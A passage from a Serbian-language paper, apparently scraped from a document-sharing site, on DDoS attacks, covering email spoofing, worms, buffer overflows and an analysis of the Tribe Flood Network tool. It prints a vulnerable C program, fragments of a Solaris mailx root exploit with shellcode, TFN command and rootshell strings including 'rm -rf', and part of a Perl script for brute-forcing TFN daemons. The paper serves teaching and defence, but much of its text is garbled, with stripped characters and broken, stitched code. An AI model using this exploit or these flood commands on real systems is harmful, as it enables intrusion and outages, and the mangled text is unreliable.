Professional Documents
Culture Documents
Kompletno o Dos Napadima
Kompletno o Dos Napadima
SADRAJ
1. Uvod
2. Mree
2.1 Pojam, istorija i razvoj
2.2 Mreni protokoli
2.3 Pojam haker/hakovanje
2.4 Pojam zatite elektronskih podataka
2.5 Pojam zatite elektronskih podataka pravni aspekt
2.6 Podela moguih napada na raunarsku mreu
3. Ugroavanje privatnosti
3.1 Privatnost kao pojam
3.2 Ugroavanje privatnosti prislukivanjem
4. Pretee DDOS-a
4.1 Zloupotrebe elektronske pote
4.2 Propaganda u komercijalne svrhe
4.3 Lano predstavljanje putem elektronske pote
4.4 Korienje e-maila kao oblik distribuiranog napada
4.5 Neovlaeno ulaenje na raunarski sistem
5. DDOS
5.1 DDOS pojam
5.2 Za ta se DDOS moe koristiti ?
5.3 Kako on radi ?
1. Uvod
Cilj ovog rada je da se ukae na problem koji je u prethodne 3 godine postao jedan
od najistaknutijih problema vezanih sa internetom i mreama u celini. Veina
korporativnih mrea, bilo da se radi o internet provajderima ili da se radi o manjim
korporacijama su podloni razliitim vrstama napada koji smanjuju operativnu mo
koje raunarske mree pruaju tim kompanijama.
Da bi smo rad pravilno struktuirali i itaocu ovog rada omoguili lake ukljuivanje u
materiju zapoeo sam sa osnovnim stvarima i istorijom raunarskih mrea da bih
preko objanjena kako ona funkcionie i koji su to metodi i naini na koji ona stvarno
radi omoguio objanjenje poetnih pojmova neophodnih za dalju raspravu.
Takoe u ovom delu sam napravio i mali osvrt na pojmove zatite podataka i sa
pravnog i fizikog aspekta da bih bolje objasnio kako to sve izgleda u naoj sredini.
Tree poglavlje se bavi temom Privatnosti kao oblasti koja kod nas nije preterano
zastupljena niti potencirana dok joj se na zapadu pridaje ogromna vanost. Zatita
privatnosti elektronskih poruka ili prosto zatita line privatnosti je jedno od
osnovnih naela koje vai u zapadnom zakonodavstvu, i ovim bih hteo da moda
potencijalno otvorim to pitanje i u naoj sredini.
etvrto poglavlje se bavi preteama DDOS napada koji je tema ovog rada. elja mi
je bila da prikaem kako su i pre DDOSa korporativne mree bile ugroene od strane
nesavesnih i zlonamernih korisnika. Nita manje opasni nisu bili ni ti metodi koji su
korieni kao to je lano predstavljanje putem e-maila, neovlaeno korienje e-
maila u propagandne svrhe i na kraju kao preteama distribuiranog napada.
U petom i estom poglavlju sam i zapoeo najzanimljiviji deo rada za mene, to jest
samu DDOS tehniku napada, i pokuao sam da pruim detaljan prikaz na koji nain
sve to funkcionie i koji su potencijali takvog jednog ugroavanja korporativne
mree. Takoe dajui prikaz aktivnost jednog TFN servera sa raznim alatima za
praenje mrenog saobraaja eleo sam itaocu da pruim kvalitetniji i detaljniji
pregled ove materije. Pokuao sam i da objasnim koje su to slabosti koje postoje u
nainima odbrane i metodama za lokalnu odbranu.
Na kraju umesto zakljuka eleo sam da svoje dugogodinje iskustvo koje sam
stekao kao sistem administrator raunarske mree na Univerzitetu Braa Kari,
pretvorim u niz saveta koji mogu posluiti kao uputstvo i vodii kako da se pokua
uspeno braniti jedna korporativna mrea i koje su osnovne mere predostronosti i
zatite.
Kao to sam ve naveo na samom kraju ne postoji nikakav apsolutni metod zatite ni
jedne korporativne mree, ve se sve svodi na to da korporacija neprestano ulae
resurse u modernizaciju same raunarske mree i da se sami administratori moraju
non stop edukovati o novim metodama i tehnikama kako napada tako i odbrane.
Ako sam sa ovim radom delimino uspeo u tome da bar nekome pribliim
problematiku mree i mrenog napada i odbrane biu vie nego zadovoljan.
2. Mree
Internet mrea je nastala iz razvoja ARPA NET koji je bio prva vrsta mree kakve
danas poznajemo i bila je koriena za potrebe amerike vojske koja ju je razvila da
bi mogla da komunicira na velike daljine kao i da poveu institucije koje su bile od
kljunog znaaja za ameriku vojsku.
Sigurnost mree i podataka na raunarima moe biti ugroena na razne naine ali
nazivi koje se najee spominju u vezi toga su hakovanje (eng. hacking) i hakeri
(eng hackers).
Protokol je jezik koji se koristi za komunikaciju izmeu dva raunara koji su povezani
u mreu, gde protokol definie kako se podaci pakuju za prenos preko mree kako bi
raunar koji ih prima mogao da ih korektno raspakuje Neophodno je da raunari na
istoj mrei koriste isti protokol za komunikaciju.
Protokol koji e ovde imati presudnu ulogu jeste ICMP (internet message control
protocol-internet protokol kontrolnih poruka)
Tip
Kod
Kontrolna suma
Tipski podatci
slika 1
Polje
Opis
0-Mrea nedostupna
1-Raunar nedostupan
2-Protokol nedostupan
3-Port nedostupan
4-Potrebna fragmentacija
slika 2
Zbog same prirode ICMP protokla hakeri mogu da eksploatiu sam protokol na taj
nain to mogu da u polja ICMP protokola upisuju one podatke koji nisu po
ustaljenim vrednostima obuhvaene u samom protokolu.Odnosno svaki paket koji
alju na odredinu adresu nemora da ima njenu stvarnu polaznu adresu, tako da na
taj nain mogu da poalju pakete na raliite adrese sa polaznom adresom targetirane
mree i tako da se odgovori koji su poslati vraaju na adresu targetirane mree i na
taj nain stvaraju zaguenje targetiranoj mrei.Ovakav vid hakerskih aktivnosti
predstavlja osnov distribuiranih napada na mree.
Pojam haker (eng. hacker) u svom znaenju opisuje osobu koja se bavi istraivanjem
mogunosti raunara i njihovoj primeni u svakodnevnom ivotu inae prvi put
pomenut sredinom 70-tih godina kada su dva studenta sa MIT-a koristei
trikove(hackove) uli na Univerzitetski mejn frejm.
Hakeri se jo i definiu i kao ljudi koji su po prirodi radoznali, koji vole sve da
saznaju i ne vole kad je neto sakriveno od njih. Tokom godina pojam haker je poeo
da se vezuje za ljude koji neovlateno ulaze (taniji pojam je upadaju) na razne
raunarske sisteme i manje ili vie uspeno pokuavaju da ovladaju sistemom.
Takoe se pojavljuju razliiti stavovi da li su hakeri u stvari loi (jer neovlateno
pristupaju raznim raunarskim sistemima) ili su dobri (jer pokazujui da postoje
propusti u sigurnosti nas teraju da unapreujemo svoje programe i sisteme zatite).
Sada vie nije bilo neophodno biti fiziki prisutan u prostoriji gde se nalazi raunar na
kome se nalaze poverljivi podaci. Napad je mogao biti izvren i iz susedne prostorije
ili sa drugog kontinenta, a podaci preneseni bez vidljivog uznemiravanja uvara koji
su sedeli ispred prostorije.
Svi ovi predlozi zakona imaju jako dobru osnovu, meutim problem koji se javlja
lei u samom okviru zakona, Nevin dok se ne dokae krivim , jer mogunost
dokazivanja ovakve vrste kriminalnih radnji granii se sa teoretskom
neverovatnou, iz jednostavnog razloga to kod nas nepostoji obuen pravosudni
kadar koji bi mogao da procesira ovakav sluaj. to znai , da ukoliko se poinilac
sam neprijavi, skoro da nepostoji ansa da mu se ue u trag.
Za samu raunarsku mreu pojmovi blizu ili daleko imaju potpuno promenjeno
znaenje.
Pod lokalnim pristupom (local access) smatra se rad korisnika koji je uredno
prijavljen na raunarski sistem i sve radnje obavlja na samom sistemu (rad u shell-u,
kontrolisanje elektronske pote ili surfovanje sa samog raunara- lynx ) odnosno
kada je poetna adresa korisnika jednaka krajnjoj adresi.
Pod pristupom na daljinu (remote access) podrazumevamo rad pri kojem korisnikova
poetna adresa paketa nije ista kao i krajnja adresa servera na kome radi.
Pojavom UNIX/LINUX kao operativnih sistema koji u potpunosti podravaju mreni
rad, stvari se jo dodatno komplikuju.
Kada korisnik sa svog raunara pokuava da inicira sesiju na nekom serveru sam
pristup tom serveru se smatra kao pristup na daljinu (remote access) ali sav rad koji
obavlja na tom serveru, a tie se samog boravka na serveru, se smatra radom u
lokalu. (primer remote access ssh sesije na jedan server, ali se itanje pote iz PINE
smatra lokalnim pristupom, jer za taj server sam program i jeste iniciran iz lokala)
Samim tim pri zatiti raunarskih mrea moramo voditi rauna i o jednom i o drugom
pristupu kao o nainima na koji se potencijalno moe ugroziti sigurnost.
ugroavanje privatnosti
zloupotrebe elektronske pote
potpuno ili delimino prekidanje servisa (Denial of Service)
neovlaeno ulaenje na raunarski sistem
3. Ugroavanje privatnosti
1. podaci koje smo nekome poverili, ili podaci koje je neko drugi prikupio o nama,
2. podaci o nama koje drite u tajnosti, koji su samo nama poznati.
Prva vrsta privatnosti koju bi zakon trebao da titi jeste privatnost informacija. Ako
ste uinili javnom informaciju o vrednosti vae kue, stavljajui je pod hipoteku u
sudu, ipak elite kontrolu nad dostupnou tih podataka ostalima. Ili ako ste u
apoteci kupili test za proveru trudnoe, i isti platili kreditnom karticom (time
otkrivajui svoj identitet), i dalje ne elite da ta informacija bude dostupna svima u
vaem gradu.
Druga vrsta privatnosti nam je poznatija: koliko novca imate u novaniku, ta piete
u pismima svojoj dragoj(om), koje programe gledate na televiziji, ta mislite o
javnim linostima, politiarima...
Ugroavanje privatnosti e-mail poruka (od strane poslodavca, kolega, treih lica,
dravnih organa ...)
1. A -----SYN----> B
2. A <---SYN/ACK--- B
3. A ACK----> B
slika 3
Tj. ematski:
A-------------------------------B
\ \ \ \
C D E F
slika 4
slika 5
Gore navedeni primer je veoma pouan, jer pokazuje koliko je lako ugroziti neiju
sigurnost podataka i da je korienje telneta neopravdano i veoma opasno. Dovoljno
je saekati da korisnik pod imenom neko ne bude ulogovan na raunrar jer bi bilo
suludo biti ulogovan na kome su ovi podaci vaei i iskoristiti ih . Raunar host nee
znati na osnovu unetih podataka da li je to stvarno korisnik neko ili ne.
Ako neko poznaje na username i password, kada se jednom uloguje moe da radi
ta god poeli sa podacima na naem nalogu. Na svu sreu obini korisnici nemaju
mogunost da pristupaju hardveru, pa samim tim ni da mrenu karticu prebace u
tzv. promiscuous mod rada koji je potreban sniferu da bi preuzimao sve podatke sa
lokalne mreze. Ali da srea ne bude potpuna postoji puno korisnika koji to mogu i
ine svakodnevno.
Danas se sve manje koristi telnet kao servis za daljinsko pristupanje zbog njegove
nesigurnosti .Umesto njega danas se koristi SSH (secure shell) servis koji za razliku
od telneta enkriptuje celokupan saobraaj u komunikaciji izmeu korisnika i servera.
Pored prislukivanja telnet sesija mogue je prislukivati i sve ostale TCP/IP sesije
koje ne koriste metode kriptovanja. Samim tim znai da je jedan od servisa koji je i
doprineo velikoj popularizaciji interneta, e-mail, takoe ugroen.
Mesta gde se sve moe neovlateno pristupiti jednom e-mailu koji je poslat sa neke
udaljene mree se broje velikim ciframa.
4. Pretee DDOS-a
AOL je to uinio kada je dao podatke o mlaem podoficiru Timotiju Mek Veitu. Ti
podaci su sadrali podatke o njegovom seksualnom opredeljenju (to da je on
homoseksualac i da je posetio odreene sadraje na interenetu i da je bio u kontaktu
sa odreenim brojem homoseksualaca). Americka mornarica je traila te podatke i
iskoristila ih da bi ga otpustila. Mek Veit je podigao optunicu protiv AOL-a zbog
napada na privatnost, ali su oni nastavili da brane svoj postupak i svoje pravo da
koriste podatke na nain kako su im potrebni.*
Ono to je bito u svim ovim sluajevima da se svi ti podaci daju bez njihovog znanja
i samim tim bez njihovog pristanka.Te podatke zatim dalje mogu da koriste i razne
druge agencija,slube i sline organizacije. ak je na pojedinim mestima omogueno
pojedincima da lako dou do svih relevantnih podataka o drugom pojedincu.
Poseban problem kod e-mail poruke je u tome to u osnovi daje previe podataka o
onome koji je alje. Iz nje se moe zakljuiti odakle je poslata, iz koje zemlje, ko je
poiljalac, u koje vreme je poslata, preko kojih je sve servera prola dok nije stigla
do odreene destinacije.
Teko je izbei kriminal koji je vezan za elektronsku potu, poto je lako pratiti rad
korisnika na sistemima sa PINE programom za pristup poti, probijati kodiranu
zatitu monim i lako dostupnim softverom i ubacivati se u sisteme sa alatima koji su
dostupni na internetu:
Oigledno imate pravo da aljete takve poruke, ali uz rizik da budete nadgledani,
ispitivani i javno ponieni. Namee se pitanje: ta to prosean korisnik elektronske
pote pie kada je potrebno da se to nadgleda od strane vlasti.
U 42 drave SAD sudski ovlatene institucije mogu legalno da itaju tuu postu
(www.crimetime.com).
Preko 70% kompanija daje line podatke o svojim zaposlenima raznim kreditnim
irantima, 47% daje agencijama za izdavanje stanova i 19% raznim dobrotvornim
organizacijama.
----------------------------------------------------------------------------------
----------------------------------------------------------------------------------
Ako bolje pogledamo u Zaglavlje te poruke shvatiemo da ona nikad i nije bila
poslata sa euneta i da je lana
----------------------------------------------------------------------------------Received:
from amadeus.uni-bk.ac.yu (amadeus.uni-bk.ac.yu [194.247.207.33]
From: lazni@eunet.yu
Kljune stavke su
Primer 1
U stavci Received vidi se da je mail stvarno poslat preko mail servera na amadeusu i
to tako to je poslat mail sa njega samog(localhost). Kada se primi jedan ovakav
mail potrebno ga je poslati nazad na abuse@imeprovidera_odakle_je_mail ili
root@imeprovidera_odakle_je_mail sa konstatacijom da je mail laan i da traite od
administratora sistema da reaguje na zloupotrebe mail servera.
Zbog toga se koristi nova tehnika, a to je slanje emaila koji moe naneti (i obino
donosii) veliku tetu. Radi se slanju trojanca ili virusa uz email u kojem se
zlonamerni korisnik predstavlja kao veoma dobrotvorna osoba i neprimetno moli
primaoca da startuje 'program' koji mu je poslao. Program je najee zaraen
nekom vrstom virusa meu koje najee spadaju
Pored trojanaca opasnost predstavljaju i virusi koji se ire putem emaila, tzv. crvi.
Takvi virusi prate kome sve rtva alje pisma, i uz njihove emailove prikae i svoju
kopiju, tako da primalac pisma dobije virus od svog prijatelja.
Zato je potrebno biti obazriv kada se prima mail poruka sa prikaenim programom.
Posebno treba obratiti panju na dva nova tipa crva, a to su crvi iz porodice
takozvanih 'VBA crva' iji je predstavnik sada ve uveni crv 'I-LOVE'YOU' i crvi iz
porodice 'ActiveX crva' koju predstavlja crv 'BubbleBoy'.
VBA crvi koriste posebnu tehniku kako bi zavarali potencijalnu rtvu. Pored toga to
crv nema ekstenziju EXE ve VBA ili VBS (to znai da su pisani u Visual Basic Script
formatu i da je za njihovo izvravanje potreban IE), takvi crvi se obino distribuiraju
sa extenzijom '.txt.vba', tako da potencijalna rtva pomisli da se radi o obinom
tekstu i startuju fajl. Poto je zadnja ekstenzija '.vba', ne startuje se Notepad ve IE
koji izvri program, tako da potencijalna rtva postane prava rtva.
Takav email moe (bez startovanja pomonog EXE fajla) brisati fajlove, kopirati, i
kreirati nove, prosto reeno, aplet ima sve privilegije i moe se 'ugnjezditi' u sistem,
kako bi kasnije preduzeo neke nove akcije.
Takav jedan aplet nosi crv 'BubbleBoy' koji se kao i svi crvi iri putem emaila.
Dovoljno samo da neoprezni korisnik otvori e-mail i postae rtva koja e svojom
nepanjom poslati kopiju crva na jo nekoliko stotina emaila.
To je samo jedna mogunost ovakvih mail poruka. Naime, taj aplet moe startovati
prikaeni fajl, koji e u ovom sluaju preuzeti punu kontrolu nad raunarom
primaoca i otvorie zlonamernom korisniku 'zadnja vrata'.
<++> vuln.c
int main(int argc,char **argv){
char buf[256];
strcpy(buf,argv[1]);
printf("passed : %s\n",buf);
}
<--> vuln.c
program 1
Svaka funkcija koja se poziva mora da se vrati na mesto svog poziva.To se radi tako
to se pri pozivu funkcije sa instrukcijom call na stacku sauva EIP koji e se na
kraju funkcije pokupiti i vratiti na mesto poziva.
Kako je main() funkcija i ona e biti pozvana (disass _start) i njen EIP e biti
sauvan negde na stacku. Na samom kraju funkcija nalazi se instrukcija ret koja e
sauvan EIP sa stack-a da pokupi i da se na taj nain vrati odakle je pozvana.
Meutim zbog specifinosti samog rada sa memorijom i rada sa stackom (stack na
i386 raste na dole) situacija u kojoj bi string bio vei od prostora koji smo mu dodelili
definiui mu buffer (u ovom sluaju 256 byte) izazvao bi ruenje integriteta
memorije jer bi preostali deo stringa (preko 256 byte) prepisao u memoriji i mesto
gde je zapisan EIP ispuniti string karakterima i time izazvati pad programa kada na
kraju funkcija pokrene ret da u EIP upie string karaktere. Meutim, ako u EIP
namerno upiemo adresu shell coda (tanije prepuni buffer sa shell codom i ekamo
da ga ret pokupi) i rezultat pada programa bie novi shell koji e se pokrenuti. Ako
je program bio SUID (imao privilegije super korisnika (Super User ID)) dobiemo
privilegije root-a na toj maini i samim tim postati korisnik sa administratorskim
privilegijama. Primer jednog klasinog exploita koji se moe koristiti na sistemima
Sun Solaris kojim korisnik koji ga pokrene dobija efektivni root access.
id=6.#include <fcntl.h>
int main(int ac, char **av)
char shell[]=
"\x90\x10\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08" /* setegid(6) */
"\x90\x10\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08" /* setgid(6) */
"\x91\xd0\x20\x08" /* ta 8 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";
u_long get_sp(void)
char *envi;
int cont;
{ envi[cont]=
0xa6;envi[cont+1]=0x1c;envi[cont+2]=0xc0;envi[cont+3]=0x13; }
memcpy(envi,"SO=",3);
envi[999]=0;
putenv(envi);
memset(buf,0x41,1220);
buf[1220]=0;
execl("/usr/bin/mailx","mailx","-F",buf,NULL);
program 2
5. DDOS
Distribuirani DOS, kao i bilo koji distribuirani koncept predstavlja nain kako
pokrenuti odreenu proceduru sa nekoliko raunara. U ovom sluaju to je
uskraivanje servisa (denial of service) u formi preplavljivanja paketima, a u cilju
optereivanja mrea odnosno linkova radi njihovog onesposobljavanja. DDOS ne
predstavlja kategoriju alata za hakovanje ve nain razmisljanja. Meutim kao i svaki
informatiki koncept propraen je alatima koji opravdavaju ovaj nain razmisljanja.
DDOS alati predstavljaju PENETRACIONE alate , oni ne eksploatiu sigurnosne rupe
odnosno ranjivosti ali mogu da ispitaju koliku koliinu saobraaja jedan raunar,
mrea mogu ili ne mogu da podnesu. DDOS se ve due vreme koristi od strane
profesionalnih konsultanata za sigurnost kao sredstvo za testiranje izdrljivosti
mrea. Pre nego to su izali DDOS alati, postojali su komercialini alati koji su mogli
da pokrenu takozvano distribuirano preplavljivanje paketima. Ti alati su korieni u
okviru preduzea koja se bave sigurnou da bi mogli da primene sigurnosni servis
koji se naziva ?Capacity Management?. Svrha ?Capacity Management? je da se
utvrdi koliku koliinu saboraaja moe da podri jedna mrea, i da se utvrdi da li se
propusna mo mete u ovom sluaju mree koja se testira mora poboljati ili da li ona
moe da izdri tu koliinu saobraaja a pri tome da moe da prua usluge koje se
nalaze na toj mrei odnosno meti.
6.1 Intro
U ovom delu je data analizu "Tribe Flood Network" alata ili popularnije nazvanog
"TFN", koji je kreirao Mixter. TFN se trenutno razvija i testira na mnogobrojnim
kompromitovanim raunarima bazarianih na Unix sistemima.
ICMP flood
SYN flood
UDP flood
Smurf
Pruanje root konzole po zahtevu na odreenom portu
TFN serveri su prvobitno naeni u binarnoj formi na Solaris 2.x sistemima, koji su
indetifikovani kao kompromitovani sistemi, exploatisani sa buffer overrun bagom u
RPC servisima "statd","cmsd" i "ttdbserverd". Ovaj buffer overrun je opisan na
CERT-ovom web sajtu incident 99-04:
http://www.cert.org/incident_notes/IN-99-04.html
Modifikacijom izvrnog koda moe se promentiti bilo koji od detalja ove analize kao
to su konzole ifre komande TCP/UDP portovi kao i podrani metodi napada.
U ovo sluaju oba dela TFN alata server i klijent su kompajlirani i pokretani sa Red
Hat Linux 6.0 operativnog sistema.
Mrea: napada(i)-->klijent(i)-->server(i)-->rtva(e)
+----------+ +----------+
| napada | | napada |
+----------+ +----------+
| |
. . . --+----------------------+-----------------------+-- . . .
| | |
| | |
+----------+ +----------+ +----------+
| klijent | | klijent | | klijent |
+----------+ +----------+ +----------+
| | |
| | |
. . .---+------+-----+------------+------------+------------+---- . . .
| | | | |
| | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| server | | server | | server | | server | | server |
+--------+ +--------+ +--------+ +--------+ +--------+
+----------+
| rtva |
+----------+
ema 1
Napada(i) kontroliu jednog ili vie klijenata od kojih svako kontrolie vie servera .
Serverima je naloeno da koordiniu napad na jednu ili vie rtava, gde pod rtvama
podrazumevamo jedan ili vie raunara kao i jednu ili vie mrea, od strane
klijenata.
Za vezivanje klijenta sa serverom nije potrebno imati ifru ukoliko neete da mreu
koju ste oformili uvate samo za sebe, mada je potrebno imati takozvanu ip listu
koja sadri spisak TFN servera sa njihovim Internet adresama.
Kada pokrenemo program bez ikakvih opcija dobijamo pomoni ekran koji prikazuje
komande koje su podrane od strane TFN-a i koji izgleda ovako:
slika 5
U prvoj liniji ./tfn <iplist> <type> [ip] [port] nam je dato sledee:
iplist predstavlja numeriku listu TFN servera ili broadcast servera sloenu
po njihovim Internet adresama. U zavisnosti od toga kakva je vrsta napada koristimo
odreenu vrstu iplista .Ukoliko je vrsta napada SYN-flood,ICMP-flood ili UDP-flood u
tom sluaju se koriste liste TFN servera ,a ako je vrsta napada Smurf tada se
koriste TFN ili broadcast liste
type predstavlja prekida koji odreuje vrstu napada kao i tkz spoof
protection odnosno maskiranje polazne adrese ,odreuje veliinu paketa i odreuje
dobijanje root-shella na odreenom portu.
IP u ovom sluaju predstavlja odredinu adresu odnosno metu. Meta
moe biti jedna ili vie adresa odnosno metu moe predstavljati jedan raunar ili cela
mrea.
port koristei ovu opciju moemo odrediti obaranje nekog odreenog
sevisa koji se korist na jednom raunaru kao naprimer port 80 za web ,port 25 za
mail, portovi 6667-7000 za irc itd. Ukoliko elimo da zaguimo saobraaj onda se
portovi randomno odreuju u rasponu od 0-65535.
Poto klijent nije zatien ifrom za pristup svaka komanda koja se alje
serverima nije ifrovana .Da bi se postigao neki vid enkripcije odnosno zatite ifrom
komande su poslate u vidu 16-to bitnih brojeva koje su sakrivene u indetfikacionom
polju ICMP_ECHOREPLY packeta.Broj ove sekvence je konstanta 0x0000, koji lii kao
odgovor na standardnu ping komandu.
#ifndef _CONFIG_H
#define _CONFIG_H
#endif
primer 2
Primer stringova koji su ukljueni unutar skoro naenog TFN servera na univerzitetu
u Washingtonu
blowfish_init
blowfish_encipher
blowfish_decipher Funkcije za Enkripciju
encrypt_string
decrypt_string
serverworks
readmservers
addnewmserver Funkcije za kontrolu servera
delmserver
servcounti
icmp2
udppsize
icmpsize
spoofing
spooftest
commence_icmp Funkcije koje odreuju tip napada
commence_udp
commence_syn
floodtime
floodruns
bind
setsockopt Funkcije za Remote shell(daljinski prisupt)
listensocket
k00lip
fw00ding
k00lntoa
tc: unknown host
rm -rf %s
ttymon
rcp %s@%s:sol.bin %s Komande koje slue za osnovne operac-
nohup ./%s ije sa fajlovima kao i sa kontrolom ostalih nezavisnih programa
prikaz 1
prikaz 2
prikaz 3
# sniffit -d -a -x -b -s @ -Picmp
Supported Network device found. (eth0)
Sniffit.0.3.7 Beta is up and running.... (192.168.0.1)
prikaz 4
Koristei istu komandu ping c ali sada gledajui protok na mrei sa paketom
tcpdump/tcpshow modifikovan sa zakrpom iz priloga B dobijamo ovakav izgled:
Packet 2
ICMP Header
Type: echo-reply
Checksum: 0xA32A
Id: 0x6E03
Sequence: 0x0000
ICMP Data
q..8x.
..
..................... !"#$%&'()*+,-./01234567
Packet 3
ICMP Header
Type: echo-request
Checksum: 0x623A
Id: 0x6E03
Sequence: 0x0001
ICMP Data
r..8..
..
..................... !"#$%&'()*+,-./01234567
Packet 4
ICMP Header
Type: echo-reply
Checksum: 0x6A3A
Id: 0x6E03
Sequence: 0x0001
ICMP Data
r..8..
..
..................... !"#$%&'()*+,-./01234567
Packet 5
ICMP Header
Type: echo-request
Checksum: 0x5A3A
Id: 0x6E03
Sequence: 0x0002
ICMP Data
s..8..
..
..................... !"#$%&'()*+,-./01234567
Packet 6
ICMP Header
Type: echo-reply
Checksum: 0x623A
Id: 0x6E03
Sequence: 0x0002
ICMP Data
s..8..
..
..................... !"#$%&'()*+,-./01234567
prikaz 5
Ovde se primeuje da se broj sekvence poveava takoe za jedan poevi od ofseta
odnoso inicijalnog paketa iji je sekvencni broj 0X000.
Ovo je primer ta napada vidi kada izda komandu da se otvori konzola na portu
12345.
Primer 3
Za tu istu komandu koju je napada izdao ovo je prikaz onoga ta vidimo sa sniffit
paketom.
prikaz 6
prikaz 7
Packet 1
ICMP Header
Type: echo-reply
Checksum: 0x64D1
Id: 0x01C8
Sequence: 0x0000
ICMP Data
12345
Packet 2
ICMP Header
Type: echo-reply
Checksum: 0x6CAE
Id: 0x007B
Sequence: 0x0000
ICMP Data
shell bound to port 12345
prikaz 8
Ono to je ovde oigledno jeste da klijent alje komandu 0x01C8 (decimalno 456) u
identifikacijonom polju praena sa brojem sekvence 0x0000 koje se ovde nemenja
terminisana NULL ASCII stringom "12345" (koja odreuje port)
6.9 Slabosti
Ukoliko izvrni kod nije menjan TFN klijenti i serveri se mogu identifikovati
posmatrajui stringove ukljuene u binarnom zapisu programa, koji izgledaju ovako:
# strings - td
...
%d.%d.%d.%d
/bin/sh
tfn-daemon
already %s flooding
multiple targets
ICMP flood: %s
tfn-child
SMURF (target@bcast@...): %s
UDP flood: %s
SYN flood: port %d, multiple targets
SYN flood: port %d, %s
ready - size: %d spoof: %d
%s flood terminated
packet size: %d bytes
spoof mask: *.*.*.* (%s)
spoof mask: 1.*.*.* (%s)
spoof mask: 1.1.*.* (%s)
spoof mask: 1.1.1.* (%s)
spoof test: %s
shell bound to port %s
...
[0;35m[tribe flood network]
(c) 1999 by
[5mMixter
ICMP
SMURF
...
# strings - tfn
...
%d.%d.%d.%d
ERROR reading IP list
[1;37m
[request: change packet size]
[request: change spoofmask]
[request: stop and display status]
[request: udp flood %s]
[request: syn flood [port: %s] %s]
[request: icmp flood %s]
[request: bind shell to port %s]
[request: smurf (target@bcast@...) %s]
[0;0m
[0m%s:
[0;31m
[0;34mtimeout
[1;34m
usage: %s <iplist> <type> [ip] [port]
<iplist> contains a list of numerical hosts that are ready to flood
<type> -1 for spoofmask type (specify 0-3), -2 for packet size,
is 0 for stop/status, 1 for udp, 2 for syn, 3 for icmp,
4 to bind a rootshell (specify port)
5 to smurf, first ip is target, further ips are broadcasts
[ip] target ip[s], separated by %s if more than one
[port] must be given for a syn flood, 0 = RANDOM
skipping
[0;35m[tribe flood network]
(c) 1999 by
[5mMixter
...
prikaz 9
Jedina slabost TFN-a jeste da nepostoji autentikacija izvora ICMP paketa bar ne u
analizi postojeih verzije TFN programa. Ukoliko vrednosti komandi nisu menjane
samo jedan paket bi bio dovoljan da ustanovimo postojanje TFN servera na jednoj
mrei .
Koristei Perl skriptu "civilize" datu u prilogu C, a koja koristi Net::RawIP delove TCP
protokola, moe se ustanoviti postajnje TFN servera. Obelodanjivanjem ovakve vrste
servera na jednoj mrei moemo uraditi sledee: nastojati da TFN program uklonimo
sa mree ili da koristimo TFN za svoje potrebe. Ukoliko su komande menjane moe
se pokrenuti nad TFN serverom takozvani "brute force attack koji se sastoji od
slanja kombinacije tri broja koji slue za izdavanje komandi i na taj nain moemo
uspostaviti kontrolu nad njim.
Primetno je da se u radu govori samo o tome kako sam napad izgleda i kako se
moe spreiti da jedna mrea moe da bude posrednik u napadu. Jedino to nije
reeno jeste kako spreiti da budemo rtve takvog napada, te e se o tome govoriti
u ovom zakljuku.
Kao to je ve reeno DDOS napadi koji dolaze u razliitim oblicima kao to su smurf,
syn-flood, fraggle, itd. predstavljalju u osnovi isporuku ogromne koliine paketa ka
jednoj odredinoj adresi odnosno jednoj mrei, tako da se slabost jedne mree
manifestuje u njenom propusnom opsegu odnosno u koliini paketa koju ona sama
moe da procesira .U ovom sluaju e mo govoriti o smurf ili icmp-flood tipu
napada. Poto DDOS koristi ICMP kao osnovni protokol kako za komunikaciju tako i
za distribuciju svojih mailicioznih paketa, veina administratora mrea pokuavaju da
na ulaznim takam ka svojoj mrei kompletno ili delimino zatvore ICMP saobraaj
da bi se zatitili od ovakve vrste napada , a pri tome nemaju u vidu da bez obzira na
to to saboraaj nee proi unutar njihove mree on ipak dolazi na ulaznu taku i tu
pravi guvu, odnosno onemoguuje da se bilo koji drugi saobaraaj odvija na toj
mrei.
Druga vrsta DDOS napada SYN ili ACK-flood je veoma slian smurf napadima jer kao
i on predstavlja isporuivanje ogromne koliine paketa na jednu mreu, s tim to se
paketi u ovom sluaju alju na oderdinu adresu ali i na razliite portove tog
raunara ili rutera koji stoji iza te adrese. Jo jedna specifinost za ovu vrstu paketa
jeste sama konstrukcija paketa.Kod SYN ili ACK-flooda nealju se kompletni paketi
ve samo neki njegovi delovi kao to je syn koji predstavlja samo zapoinjanje
konekcije ili ack deo paketa koji predstavlja samo prvi pristanak na zapoetu
konekciju.Ukoliko se takve vrste paketa alju ,ureaj koji ih prima nezna ta da radi
sa njima, pa se kod tog ureaja manifestuje takozvano zamrzavanje odnosno
onesposobljavanje samog ureaja za rad usled nepropisno primljenih paketa ili
ukoliko je sam ureaj otporan na takve vrste napada dolazi kao i u prvom sluaju do
zaguenja na samoj mrei gde se taj ureaj nalazi.
Reenje za ovakvu vrstu napada je da se na ulazne take mree postave ruteri koji
imaju mogunost prepoznavanja paketa, odnosno da prime samo one pakete koji su
kompletni a sve ostale da odbaci odnosno da kae udaljenoj maini koja alje takvu
vrstu paketa da prestane. To se radi na taj nain to se na ruterima u samo IP-
stacku (odvojeno mesto u memoriji raunara ili ureaja koji aktivno uestvuju u
mrenoj komunikaciji za rad sa mrenim protokolima baziranim na TCP-protokolu)
zadaje komanada ip-revers-unicast koja omoguuje da se takav vid zatite
sprovede, odnosno ona omoguava da se primaju samo kompletni paketi.
Reenje koje je Yahoo primenio na svojoj mrei
return pkt;
#!/usr/bin/perl
#
# civilize v. 1.0
# By Dave Dittrich <dittrich@cac.washington.edu>
#
# Send commands to TFN daemon(s), causing them to do things like
# spawn shells, stop floods and report status, etc. Using this program
# (and knowledge of the proper daemon "passwords"), you can affect TFN
# daemons externally and monitor packets to verify if a daemon is
# running, etc. You can also brute force attack the "passwords" by
# sending packets until you get the desired reply (or give up.)
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./civilize [options] host1 [host2 [...]]
#
# (This code was hacked from the "macof" program, written by
